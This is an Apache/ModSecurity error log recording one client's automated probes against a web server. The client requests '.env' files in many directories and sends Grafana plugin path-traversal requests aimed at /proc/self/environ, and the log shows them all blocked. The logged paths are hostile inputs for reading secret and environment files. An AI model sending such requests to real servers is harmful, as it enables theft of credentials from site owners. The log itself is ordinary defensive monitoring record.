[Sun Oct 25 16:35:27.258421 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5oD3WAJkvYyuEsFoLISgAAABc"]
[Sun Oct 25 16:35:27.258654 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at5oD3WAJkvYyuEsFoLISgAAABc"]
[Sun Oct 25 16:35:27.260858 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcIwAAAEU"]
[Sun Oct 25 16:35:27.261020 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcIwAAAEU"]
[Sun Oct 25 16:35:27.261224 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcIwAAAEU"]
[Sun Oct 25 16:35:27.262264 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7QAAAAU"]
[Sun Oct 25 16:35:27.262411 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7QAAAAU"]
[Sun Oct 25 16:35:27.262656 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7QAAAAU"]
[Sun Oct 25 16:35:27.263293 2026] [core:error] [pid 2893743:tid 2893743] [client 34.47.34.62:56372] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 16:35:27.264538 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5oD2FV96rJYXEkIA1oLwAAABk"]
[Sun Oct 25 16:35:27.264682 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5oD2FV96rJYXEkIA1oLwAAABk"]
[Sun Oct 25 16:35:27.264907 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at5oD2FV96rJYXEkIA1oLwAAABk"]
[Sun Oct 25 16:35:27.265430 2026] [core:error] [pid 2897652:tid 2897652] [client 34.47.34.62:56254] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 16:35:27.276779 2026] [core:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 16:35:27.277258 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5oDxBRkwwnkVogupUKJgAAABE"]
[Sun Oct 25 16:35:27.277465 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5oDxBRkwwnkVogupUKJgAAABE"]
[Sun Oct 25 16:35:27.277724 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at5oDxBRkwwnkVogupUKJgAAABE"]
[Sun Oct 25 16:35:27.278795 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGJwAAAAM"]
[Sun Oct 25 16:35:27.278955 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGJwAAAAM"]
[Sun Oct 25 16:35:27.279172 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGJwAAAAM"]
[Sun Oct 25 16:35:27.290667 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJAAAAEU"]
[Sun Oct 25 16:35:27.290895 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJAAAAEU"]
[Sun Oct 25 16:35:27.291146 2026] [security2:error] [pid 2889353:tid 2889353] [client 34.47.34.62:54190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at5oD68dg0Qe9Rh6wUUcJAAAAEU"]
[Sun Oct 25 16:35:27.314288 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5oDxBRkwwnkVogupUKJwAAABE"]
[Sun Oct 25 16:35:27.314550 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5oDxBRkwwnkVogupUKJwAAABE"]
[Sun Oct 25 16:35:27.314790 2026] [security2:error] [pid 2897654:tid 2897654] [client 34.47.34.62:56306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at5oDxBRkwwnkVogupUKJwAAABE"]
[Sun Oct 25 16:35:27.315770 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMAAAABk"]
[Sun Oct 25 16:35:27.316072 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMAAAABk"]
[Sun Oct 25 16:35:27.316283 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at5oD2FV96rJYXEkIA1oMAAAABk"]
[Sun Oct 25 16:35:27.317321 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7gAAAAU"]
[Sun Oct 25 16:35:27.317491 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7gAAAAU"]
[Sun Oct 25 16:35:27.317701 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at5oD8QLj3BHFe0xVVDO7gAAAAU"]
[Sun Oct 25 16:35:27.318508 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5oD_3ebQuInVpw1e8OIwAAAAI"]
[Sun Oct 25 16:35:27.318660 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5oD_3ebQuInVpw1e8OIwAAAAI"]
[Sun Oct 25 16:35:27.318722 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5oD3WAJkvYyuEsFoLISwAAABc"]
[Sun Oct 25 16:35:27.318860 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5oD3WAJkvYyuEsFoLISwAAABc"]
[Sun Oct 25 16:35:27.318881 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at5oD_3ebQuInVpw1e8OIwAAAAI"]
[Sun Oct 25 16:35:27.319067 2026] [security2:error] [pid 2887586:tid 2887586] [client 34.47.34.62:56244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at5oD3WAJkvYyuEsFoLISwAAABc"]
[Sun Oct 25 16:35:27.319895 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGKAAAAAM"]
[Sun Oct 25 16:35:27.320028 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGKAAAAAM"]
[Sun Oct 25 16:35:27.320268 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at5oDxP9LBTwM7uyBGcGKAAAAAM"]
